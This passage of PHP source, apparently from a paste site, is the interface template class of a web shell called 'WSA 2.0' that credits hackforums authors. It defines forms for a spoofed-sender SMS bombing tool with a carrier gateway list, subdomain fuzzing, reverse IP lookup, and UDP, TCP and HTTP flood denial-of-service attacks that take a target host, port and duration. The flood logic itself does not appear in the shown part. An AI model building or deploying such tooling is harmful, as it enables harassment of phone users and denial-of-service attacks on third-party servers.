  704. .'                    <option value="@txt.att.net">Tracfone</option>'
  705. .'                    <option value="@tms.suncom.com">Triton</option>'
  706. .'                    <option value="@utext.com">Unicel</option>'
  707. .'                    <option value="@email.uscc.net">US Cellular</option>'
  708. .'                    <option value="@txt.bell.ca">Solo Mobile</option>'
  709. .'                    <option value="@messaging.sprintpcs.com">Sprint</option>'
  710. .'                    <option value="@tms.suncom.com">Sumcom</option>'
  711. .'                    <option value="@mobile.surewest.com">Surewest Communicaitons</option>'
  712. .'                    <option value="@tmomail.net">T-Mobile</option>'
  713. .'                    <option value="@msg.telus.com">Telus</option>'
  714. .'                    <option value="@tms.suncom.com">Triton</option>'
  715. .'                    <option value="@utext.com">Unicel</option>'
  716. .'                    <option value="@email.uscc.net">US Cellular</option>'
  717. .'                    <option value="@uswestdatamail.com">US West</option>'
  718. .'                    <option value="@vtext.com">Verizon</option>'
  719. .'                    <option value="@vmobl.com">Virgin Mobile</option>'
  720. .'                    <option value="@vmobile.ca">Virgin Mobile Canada</option>'
  721. .'                    <option value="@sms.wcc.net">West Central Wireless</option>'
  722. .'                    <option value="@cellularonewest.com">Western Wireless</option>'
  723. .'                </select><br>'
  724. .'                Sender<br>'
  725. .'                <input type="text" name="p2" placeholder="Spoof email" value="" /><br>'
  726. .'                Amount<br>'
  727. .'                <input type="text" name="p3" placeholder="100" value="" /><br>'
  728. .'                Subject<br>'
  729. .'                <input type="text" name="p4" placeholder="Subject" value="" /><br>'
  730. .'                Message<br>'
  731. .'                <textarea name="p5"></textarea><br>'
  732. .'                <input type="submit" value=">> Send <<"/><br>'
  733. .'            </form>'
  734. .'        <div class="results">';
  735.     private $resolveHTML = '<!-- content -->'
  736. .'    <div class="activepage">'
  737. .'        <div class="activetitle">'
  738. .'            <h1>Subdomain scan</h1>'
  739. .'        </div>'
  740. .'        <div class="activecontent">'
  741. .''
  742. .'            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null); return false;">'
  743. .'                <input type="hidden" name="a" value="3" />'
  744. .'                <span style="margin-top:20px;">Domain Fuzzing</span>'
  745. .'                <p>Enter a top level domain</p>'
  746. .'                <input type="text" name="p1"/>'
  747. .'                <input type="submit" value=">>"/>'
  748. .'            </form>'
  749. .'        <div class="results">';
  750.     private $reverseHTML = '<!-- content -->'
  751. .'    <div class="activepage">'
  752. .'        <div class="activetitle">'
  753. .'            <h1>Reverse IP Tool</h1>'
  754. .'        </div>'
  755. .'        <div class="activecontent">'
  756. .''
  757. .''
  758. .'            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null); return false;">'
  759. .'                <input type="hidden" name="a" value="4" />'
  760. .''
  761. .'                <span style="margin-top:20px;">Servers IP Lookup</span>'
  762. .'                <p>Enter a top level domain</p>'
  763. .'                <input type="text" name="p1"/>'
  764. .'                <input type="submit" value=">>"/>'
  765. .'            </form>'
  766. .'        <div class="results">';
  767.     private $tcpHTML = '<!-- content -->'
  768. .'    <div class="activepage">'
  769. .'        <div class="activetitle">'
  770. .'            <h1>Denial of Service</h1>'
  771. .'        </div>'
  772. .'        <div class="activecontent">'
  773. .'            <span>Change method</span>'
  774. .'            <br>'
  775. .'            <br>'
  776. .'            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null);return false;">'
  777. .'                <input type="hidden" name="a" value="5" />'
  778. .'                <select size="1" name="p1">'
  779. .'                    <option value="udp">UDP Flood</option>'
  780. .'                    <option value="tcp">TCP Flood</option>'
  781. .'                    <option value="http">HTTP Flood</option>'
  782. .'                </select><br>'
  783. .'                <input type="submit" value=">>" /><br>'
  784. .'            </form>'
  785. .'            <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,null);return false;">'
  786. .''
  787. .'                <span>TCP Flooder</span><br>'
  788. .''
  789. .'                Host<br>'
  790. .''
  791. .'                <input type="text" name="p2" ><br>'
  792. .''
  793. .'                Port<br>'
  794. .''
  795. .'                <input type="text" name="p3" value="" ><br>'
  796. .''
  797. .'                Time<br>'
  798. .'                <input type="text" name="p4"><br>'
  799. .'                <input type="hidden" name="a" value="5" />'
  800. .'                <input type="hidden" name="p1" value="tcp" />'
  801. .'                <input type="submit" value=">>" /><br>'
  802. .'            </form>'
  803. .'        <div class="results">';
  804.     private $udpHTML = '<!-- content -->'
  805. .'    <div class="activepage">'
  806. .'        <div class="activetitle">'
  807. .'            <h1>Denial of Service</h1>'
  808. .'        </div>'
  809. .'        <div class="activecontent">'
  810. .'            <span>Change method</span>'
  811. .'            <br>'
  812. .'            <br>'
  813. .'            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null);return false;">'
  814. .'                <input type="hidden" name="a" value="5" />'
  815. .'                <select size="1" name="p1">'
  816. .'                    <option value="udp">UDP Flood</option>'
  817. .'                    <option value="tcp">TCP Flood</option>'
  818. .'                    <option value="http">HTTP Flood</option>'
  819. .'                </select><br>'
  820. .'                <input type="submit" value=">>" /><br>'
  821. .'            </form>'
  822. .'            <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,null);return false;">'
  823. .''
  824. .'                <span>"UDP Flooder</span><br>'
  825. .''
  826. .'                Host<br>'
  827. .''
  828. .'                <input type="text" name="p2" ><br>'
  829. .''
  830. .'                Port<br>'
  831. .''
  832. .'                <input type="text" name="p3" value="" ><br>'
  833. .''
  834. .'                Time<br>'
  835. .'                <input type="text" name="p4"><br>'
  836. .'                <input type="hidden" name="a" value="5" />'
  837. .'                <input type="hidden" name="p1" value="udp" />'
  838. .'                <input type="submit" value=">>" /><br>'
  839. .'            </form>'
  840. .'        <div class="results">';
  841.     private $httpHTML = '<!-- content -->'
  842. .'    <div class="activepage">'
  843. .'        <div class="activetitle">'
  844. .'            <h1>Denial of Service</h1>'
  845. .'        </div>'
  846. .'        <div class="activecontent">'
  847. .'            <span>Change method</span>'
  848. .'            <br>'
  849. .'            <br>'
  850. .'            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null);return false;">'
  851. .'                <input type="hidden" name="a" value="5" />'
  852. .'                <select size="1" name="p1">'
  853. .'                    <option value="udp">UDP Flood</option>'
  854. .'                    <option value="tcp">TCP Flood</option>'
  855. .'                    <option value="http">HTTP Flood</option>'
  856. .'                </select><br>'
  857. .'                <input type="submit" value=">>" /><br>'
  858. .'            </form>'
  859. .'            <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,null,this.p4.value,this.p5.value);return false;">'
  860. .''
  861. .'                <span>"HTTP Flooder</span><br>'
  862. .''
  863. .'                Host<br>'
  864. .''
  865. .'                <input type="text" name="p2" ><br>'
  866. .''
  867. .'                Page<br>'
  868. .''
  869. .'                <input type="text" name="p5" value="" ><br>'
  870. .''
  871. .'                Time<br>'
  872. .'                <input type="text" name="p4"><br>'
  873. .'                <input type="hidden" name="a" value="5" />'
  874. .'                <input type="hidden" name="p1" value="http" />'
  875. .'                <input type="submit" value=">>" /><br>'
  876. .'            </form>'
  877. .'        <div class="results">';
  878.     private $footerHTML = '<!-- footer -->'
  879. .'        </div></div>'
  880. .'        <div class="footerwrapper">'
  881. .'            <div class="footerLeft">'
  882. .''
  883. .'            </div>'
  884. .'            <div class="footerCenter">'
  885. .'              <center><span>WSA</span> 2.0 created by <a href="http://hackforums.net/member.php?action=profile&uid=2050895">allhellno</a> & <a href="http://hackforums.net/member.php?action=profile&uid=3091672">Helzor</a></center>'
  886. .'            </div>'
  887. .'            <div class="footerRight">'
  888. .''
  889. .'            </div>'
  890. .'        </div>'
  891. .'    </div>'
  892. .'</body>'
  893. .'</html>';
  894.  
  895.     private $chunks = array("header" => "headerHTML", "footer" => "footerHTML", "main" => "mainHTML", "mail" => "mailHTML", "resolve" => "resolveHTML", "reverse" => "reverseHTML", "tcp" => "tcpHTML", "udp" => "udpHTML", "http" => "httpHTML");
  896.  
  897.     protected function fetchHtml($chunk) {
  898.         if(array_key_exists($chunk, $this->chunks)) {
  899.             $html = $this->chunks[$chunk];
  900.             return $this->$html;
  901.         }
  902.         else {
  903.             return false;
  904.         }
  905.     }
  906.  
  907. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement